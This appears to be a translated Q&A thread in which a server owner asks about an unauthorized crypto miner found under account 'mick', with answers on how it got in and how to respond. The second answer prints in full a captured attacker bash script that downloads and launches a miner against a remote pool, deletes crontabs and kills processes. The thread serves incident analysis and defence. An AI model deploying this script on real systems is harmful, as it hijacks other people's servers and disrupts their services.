Я использую выделенный сервер, где недавно заметил высокую загрузку ЦП, и проверил процессы. Похоже, кто-то (аккаунт mick) майнил на моем сервере. Как это возможно? Процесс ниже. Я заблокировал аккаунт. Что еще мне нужно сделать?
25516 mick 30 10 778m 6728 1132 S 740.5 0.2 8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
решение1
Если вы используете веб-сервер, который позволяет выполнять скрипты на стороне сервера (php, ruby и т. д.), это сделать очень просто.
Все, что нужно сделать пользователю, это сгенерировать скрипт, который загружает файл, /tmp/sh64
а затем запускает его. Веб-скрипты обычно должны иметь возможность выполнять внешние программы, поэтому такого рода деятельность трудно предотвратить.
Если mick
аккаунт тот же, что используется для запуска веб-скриптов пользователя, то я бы сказал, что нет, вас не взломали. Просто пользователь злоупотребляет своим аккаунтом.
Если вы хотите предотвратить такое поведение, есть очень мало способов предотвратить это. Вы можете либо запретить вызов внешних программ. Или вы можете сделать что-то вроде завершения долго работающих программ (всех, которые работают более 60 секунд, например).
Не зная подробностей о вашей настройке, трудно определить наилучший курс действий.
решение2
У меня была похожая проблема. Они использовали устаревшую версию агента NRPE Nagios для запуска wget
скрипта, который установил и настроил майнер биткоинов из Sourceforge (демон NRPE был dont_blame_nrpe
включен). Я не нашел ничего, что указывало бы на то, что попытка на моей машине была постоянной.
Это скрипт, который использовался для установки и настройки майнера Bitcoin:
#!/bin/bash
miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then
system=`uname -a`
i686=`echo $system|grep i686`
if ! [ -z "$i686" ]
then
url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
else
url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
fi
dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
#Failed in /var/tmp/ trying in /dev/shm
if [ -z "$myproc" ]
then
#dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
fi
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
#Failed in /tmp/ trying in /tmp
if [ -z "$myproc" ]
then
dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
fi
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
crontab -r
fi
crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'
Этот скрипт полностью запускался от имени пользователя Nagios, поэтому ему не требовался доступ root.
решение3
Ваша система определенно была скомпрометирована или, в худшем случае, взломана. Есть и другие истории, описывающие установку похожего майнера.
- Система взломана, установлен майнер Bitcoin
- Взломали ли мой лабораторный компьютер с Linux?
- Результаты поиска вредоносного ПО для майнинга биткоинов через Google
Я бы предположил, что ваша система подверглась взлому, и для начала удалите из нее все критически важные данные, чтобы у вас была резервная копия, если это еще не сделано.
Анализ
Если вам интересно, как они проникли внутрь, вам нужно будет получить полный список установленных у вас служб (веб, mysql и т. д.) и посмотреть, нет ли каких-либо активных уязвимостей, которые позволили бы кому-то получить повышенные привилегии.
Я бы начал с любых веб-активаций, которые являются веб-приложениями. Обычно эти приложения могут переполнять буфер и иметь доступ к изменению стека веб-сервера, чтобы можно было установить дополнительные приложения.
Дело в том, что подобные инциденты могут быть единичными, поэтому простого удаления вредоносного программного обеспечения и вредоносных программ может быть достаточно для их устранения, без необходимости тратить время на полное восстановление/настройку системы.
Если бы эта система была создана с использованием образа на базе VPS, то я бы работал с провайдером, поскольку исправление, по-видимому, отвечало бы его наилучшим интересам для всех его клиентов.
Помимо простого нарушения работы веб-стека
Все на коробке должно быть тщательно изучено и по сути не заслуживает доверия, но я бы потратил немного времени, чтобы посмотреть, не можете ли вы выяснить, откуда злоумышленники входят в систему, если вообще входят. Возможно, они входят в систему, используя учетные записи SSH, которые были добавлены в систему после ее взлома.
Это может быть трудной задачей, требующей много дней для анализа, особенно если вы не можете доверять ни одному из инструментов на коробке, чтобы помочь в этом начинании. Я бы посоветовал всем потратить это время, чтобы понять, как их система была скомпрометирована, чтобы вы могли снизить риск повторения этого в будущем, по крайней мере, через этот конкретный вектор.
Если это не проблема производственного типа, то это на самом деле хорошая возможность узнать ценную информацию о том, как системы могут быть скомпрометированы и как потенциальные злоумышленники могут «использовать» доступ к ним.
Положительная сторона?
Поскольку система используется для майнинга, вероятно, они использовали автоматизированный набор инструментов для написания скриптов, поскольку атака достаточного количества систем для установки зомби-майнеров, похоже, займет много времени. Когда используются такие инструменты, они обычно некачественные по своей конструкции, просто стремятся сделать минимум, чтобы закрепиться, а затем доставить свою полезную нагрузку (программное обеспечение для майнинга), так что вам может повезти, и вы получите дополнительные сведения о том, как им удалось проникнуть внутрь.